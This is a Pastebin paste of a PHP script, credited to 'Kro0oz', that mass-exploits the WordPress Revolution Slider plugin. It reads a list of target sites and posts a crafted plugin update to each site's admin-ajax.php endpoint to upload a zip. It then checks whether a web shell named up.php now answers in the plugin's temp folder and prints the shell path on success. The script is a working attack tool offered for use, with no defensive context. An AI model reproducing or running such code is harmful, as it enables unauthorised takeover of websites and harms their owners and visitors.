Advertisement
Kro0oz

wis ~ upload shell

Nov 20th, 2015
202
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2.  
  3. @set_time_limit(0);
  4. @error_reporting(0);
  5.  
  6.  
  7. /*
  8.  
  9. Coded by Kro0oz ~
  10.  
  11. */
  12. print "
  13.  
  14. .-..-.            .--.            
  15. : :' ;           : ,. :            
  16. :   ' .--.  .--. : :: : .--. .---.
  17. : :.`.: ..'' .; :: :; :' .; :`-'_.'
  18. :_;:_;:_;  `.__.'`.__.'`.__.'`.___;
  19.                                                      
  20. Coded by Kro0oz - upload shell
  21.  
  22.         usage : php script.php list.txt
  23. ";
  24.  
  25. $g=@file_get_contents($argv[1]);
  26. $ex=explode("\r\n",$g);
  27. echo "\n\t Total site loaded : ".count($ex)."\n\n";
  28. foreach($ex as $link){
  29.   echo "[+]Scaning : $link ";
  30.   revup($link);
  31. }
  32.  
  33. function revup($site){
  34.   $urlex=($site).("/wp-admin/admin-ajax.php");
  35.  
  36. $post = array('client_action'=>"update_plugin",
  37.               "action"=>"revslider_ajax_action",
  38.                "update_file" => "@revslider.zip"
  39.               ) ;
  40.  
  41. $ch = curl_init("$urlex");
  42. curl_setopt($ch, CURLOPT_POST, true);
  43. curl_setopt($ch, CURLOPT_POSTFIELDS,$post);
  44. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  45. $postResult = curl_exec($ch);
  46. //print $postResult;
  47. $path="$site/wp-content/plugins/revslider/temp/update_extract/revslider/up.php";
  48. $gett=@file_get_contents($path);
  49. if(preg_match('/Kro0oz codersleet/i',$gett)){
  50.   echo "\n[+]Exploit Done \n[+]shell : $path \n\n ";
  51. }else{
  52.    echo "\n[-]Exploit Fail \n\n";
  53. }
  54.  
  55. }
  56. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement